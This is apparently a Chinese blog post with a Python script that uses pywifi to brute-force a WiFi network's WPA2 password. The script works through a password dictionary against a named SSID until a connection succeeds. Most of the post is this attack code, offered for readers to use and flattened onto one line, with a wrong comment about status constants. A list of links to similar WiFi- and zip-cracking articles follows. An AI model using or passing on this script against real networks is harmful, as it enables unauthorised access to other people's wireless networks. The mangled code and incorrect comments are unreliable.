Python 暴力破解wifi
Python 使用pywifi模块暴力破解wifi实现自动登陆的效果,本次采用面向过程的方式编写,简单易懂。
思路:
- 首先检查是否拥有无限网卡
- 无线网卡是否连接到wifi
- 如果连接到wifi那么需要断开连接,因为一张网卡同一时间只能连接一个wifi
- 搜索附近的wifi确定连接的目标
- 使用字典开始尝试自动连接
代码实列:
首先安装pywifi模块,这个模块专门用来处理wifi的信息
pip install pywifi # 安装模块
import pywifi #导入模块
from pywifi import const # const 是wifi设置的一些常量,如状态码成功代表4 失败代表 0等
import timedef crack(password):"""破解wifi"""wifi = pywifi.PyWiFi() # 实列化一个对象# 获取第一张网卡iface= wifi.interfaces()[0]# 断开网卡连接iface.disconnect()time.sleep(2)# 删除所有的wifi配置文件(有点类似于不让wifi热点记住我们的信息蕾仕于初始化)iface.remove_all_network_profiles()# 创建新的wifi的配置文件,文件指定了,wifi的名称 ,密码,编码方式等配置选项#const.IFACE_DISCONNECTED 其实等于 4,4代表连接成功if iface.status() == const.IFACE_DISCONNECTED: profile = pywifi.Profile()profile.ssid = "Honor9" #ssid是wifi的名称# wifi的开放状态 (要连接的wifi必须是开放状态)profile.auth = const.AUTH_ALG_OPEN# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMP# wifi密码profile.key = password #password在这里是密码由read_password()传入# 添加新的wifi配置文件new_profile = iface.add_network_profile(profile)# 连接wifiiface.connect(new_profile)time.sleep(4)if iface.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")def read_password():"""读取密码"""print("开始破解")path = r"D:\我的python\Date\Pywifi\1.txt" #字典的路径with open(path,"r") as f: #打开字典文件while True:try:password = f.readline() #读取文件的每一行bool = crack(password)if bool:print("破解成功了"+password) #如果破解成功退出程序breakelse:print("破解失败"+password)except:continue read_password()
上述代码采用的单线程,因此效率不是很高,后期可以加入多线程解决效率方面的问题
Python 暴力破解wifi相关推荐
- Python暴力破解WIFI,妈妈再也不用愁WIFI不够用了!
先上代码: import os,re,time getMsg = os.popen("netsh wlan show profiles") wifiAll = getMsg.rea ...
- Python暴力破解wifi密码,你看了你也行
免责声明 本文仅供参考,不建议您将此代码用于不想要的实践,否则本文/博客的作者将不承担任何责任. 需要打包好的软件关注小编,QQ群:721195303领取. 让我们开始吧 import subproc ...
- python暴力破解wifi密码原理
首先,用python 函数生成一个类似的密码本,这里是5位数的,12345,qwert ,---,密码本结束完后会讲数据储存在超级密码本里],然后导入那个超级密码本再进行另一个函数比对,如果比对成功则 ...
- 凯撒密码加密算法python_Python最新暴力破解WiFi,攻破所有密码限制,最强破解!...
生成密码本 对于这个密码本就是我们常用的密码,一般是有数字.字母和符号组成.而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法.这里用到的库是itertools,没有的可以 ...
- python 暴力破解 excel加密文件
python 暴力破解 excel加密文件 'wordlist.txt' 为待测试的密码列表 fdd ddd eeee 5e5e5 58d85d5e d2d4d5d 4d4d4d3 dfdf,d; l ...
- Kali使用Aircrack-ng进行暴力破解WIFI密码
Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...
- Python 暴力破解zip文件密码(相对简单的密码)
Python 暴力破解zip文件密码(相对简单的密码) 密码的使用范围很广,首先,我们要明确密码的作用,其次要明白密码的类型. 密码的作用是进行权限的限制,判断用户的合法性,(不 ...
- python暴力破解压缩包密码(python暴力破解zip压缩包)
python暴力破解压缩包密码 简介 简介: ZIP文件格式是一种数据压缩和文档储存的文件格式,原名Deflate,发明者为菲尔·卡茨(Phil Katz),他于1989年1月公布了该格式的资料.ZI ...
- NO.28——Kali Linux无线渗透暴力破解WIFI密码
近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...
最新文章
- 跨平台的 .NET 运行环境 Mono 3.2 新特性
- 论文笔记系列-Efficient Neural Architecture Search via Parameter Sharing
- PHP快速入门教程:for循环
- tcpdump抓包命令_tcpdump实战
- requirednew基于xml配置日志不回滚_Mybatis 系列 4:引入日志框架
- Vue watch如何同时监听多个属性?
- 爬虫python教程百度云_Python爬虫比较基础的教程视频百度云网盘下载
- linux之x86裁剪移植---ffmpeg的H264解码显示(420、422)
- localstorage存mysql_存储localstorage
- loj#6436. 「PKUSC2018」神仙的游戏(NTT)
- leetcode python3 简单题108. Convert Sorted Array to Binary Search Tree
- linux中的bg命令作用,linux bg和fg命令
- Firefox浏览器修改背景颜色为豆沙绿
- Java 获取Excel中的表单控件
- openwrt下部署adbyby去广告大师 免luci 带自启动,自动开启透明代理
- 加密解密工具 之 恩尼格玛密码机密码
- Android毕设项目功能:商城列表与购物车展示(一)
- python rasterio库和gdal库匹配与冲突问题安装办法
- 15.系统安全分析与设计
- word中多级列表操作问题
热门文章
- WPF Slider与TextBox绑定
- STM8S103之ADC
- JLINK V10 Keil5.28使用处理
- 2021年认证杯SPSSPRO杯数学建模A题(第一阶段)医学图像的配准全过程文档及程序
- 用 Python 将音频内容转换为文本格式
- java.lang.ClassNotFoundException: Cannot find class:×××
- 基于Tesseract训练的数字识别研究
- Linux | Ubuntu卸载QQ
- 特征工程-获取更好的训练数据
- STM32 串行FLASH文件系统FatFs